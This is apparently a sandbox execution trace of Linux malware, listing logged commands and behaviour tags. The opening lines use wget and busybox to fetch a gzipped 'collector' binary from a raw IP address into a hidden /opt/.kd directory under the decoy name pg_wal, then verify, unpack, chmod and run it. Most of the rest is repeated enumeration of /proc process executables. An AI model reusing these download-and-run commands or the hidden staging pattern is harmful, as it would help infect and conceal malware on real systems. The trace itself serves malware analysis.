/bin/busyboxbusybox wget -q -T 90 -O /opt/.kd/pg_wal.gz.1526 http://89.125.187.222:18899/bin/collector-linux-x64.gz2⤵
-
-
/usr/bin/wgetwget -q -T 90 -O /opt/.kd/pg_wal.gz.1526 http://89.125.187.222:18899/bin/collector-linux-x64.gz2⤵
-
-
/bin/mvmv /opt/.kd/pg_wal.gz.1526 /opt/.kd/pg_wal.gz2⤵
-
-
/usr/bin/headhead -12⤵
-
-
/bin/sedsed -n "s/.*\"collector-linux-x64.gz\":{\"md5\":\"\\([a-f0-9][a-f0-9]*\\)\".*/\\1/p"2⤵
-
-
/usr/bin/cutcut "-d " -f12⤵
-
-
/usr/bin/md5summd5sum /opt/.kd/pg_wal.gz2⤵
-
-
/bin/busyboxbusybox gzip -t /opt/.kd/pg_wal.gz2⤵
- System Network Configuration Discovery
-
-
/bin/busyboxbusybox gzip -dc /opt/.kd/pg_wal.gz2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/pg_wal2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/awkawk "{print \$1}"2⤵
-
-
/usr/bin/wcwc -c /opt/.kd/pg_wal2⤵
-
-
/bin/rmrm -f /opt/.kd/pg_wal.gz2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/pg_wal2⤵
- File and Directory Permissions Modification
-
-
/opt/.kd/pg_wal./pg_wal --help2⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /var/tmp/.kd/wd.sh /var/tmp/.kd/wd2.sh2⤵
-
-
/bin/rmrm -f /tmp/.kd/wd.sh /tmp/.kd/wd2.sh2⤵
-
-
/bin/rmrm -f /dev/shm/.kd/wd.sh /dev/shm/.kd/wd2.sh2⤵
-
-
/bin/rmrm -f /.kd/wd.sh /.kd/wd2.sh2⤵
-
-
/bin/grepgrep -E "^[0-9]+\$"2⤵
-
-
/bin/lsls /proc2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1006/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1020/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1024/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1029/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1033/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1037/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1041/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1045/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1050/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1054/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1055/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1059/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/1062/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1064/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1071/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1074/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1076/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1077/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1085/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1092/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1095/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1098/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1099/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1100/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1103/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1105/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1137/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/115/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1153/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1171/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1172/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1185/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1200/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1204/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1255/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1260/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1307/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1315/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1319/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1335/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1341/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1359/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/137/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1388/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1495/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1519/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1522/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1523/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1524/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1526/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1624/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/166/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/167/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/168/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/169/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/170/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/171/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/172/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/173/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/174/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/175/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/176/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/177/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/178/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/179/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/180/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/181/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/182/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/183/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/185/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/210/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/211/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2194/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2195/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2196/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/248/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/25/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/26/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/27/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/277/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/28/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/29/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/30/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/31/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/32/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/34/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/35/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/36/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/368/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/372/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/438/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/444/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/452/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/453/exe2⤵
-
-
/bin/readlinkreadlink /proc/459/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/460/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/463/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/464/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/469/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/471/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/474/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/478/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/488/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/491/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/499/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/5/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/529/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/530/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/538/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/547/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/566/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/584/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/6/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/606/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/607/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/644/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/650/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/663/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/664/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/666/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/669/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/695/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/7/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/712/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/716/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/78/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/79/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/8/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/80/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/81/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/82/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/83/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/84/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/86/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/877/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/89/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/9/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/908/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/913/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/916/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/930/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/935/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/949/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/955/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/969/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/973/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/976/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/978/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/98/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/983/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/993/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/997/exe2⤵
-
-
/bin/sleepsleep 12⤵
-
-
/bin/grepgrep -E "^[0-9]+\$"2⤵
-
-
/bin/lsls /proc2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1006/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1020/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1024/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1029/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1033/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1037/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1041/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1045/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1050/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1054/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1055/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1059/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1062/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1064/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1071/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1074/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1076/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1077/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1085/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1092/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1095/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1098/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1099/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1100/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1103/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1105/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1137/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/115/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1153/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1171/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1172/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/1185/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1200/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1204/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1255/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1260/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1307/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1315/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1319/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1335/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1341/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1359/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/137/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1388/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1495/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1519/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1522/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1523/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1524/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1526/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1624/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/166/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/167/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
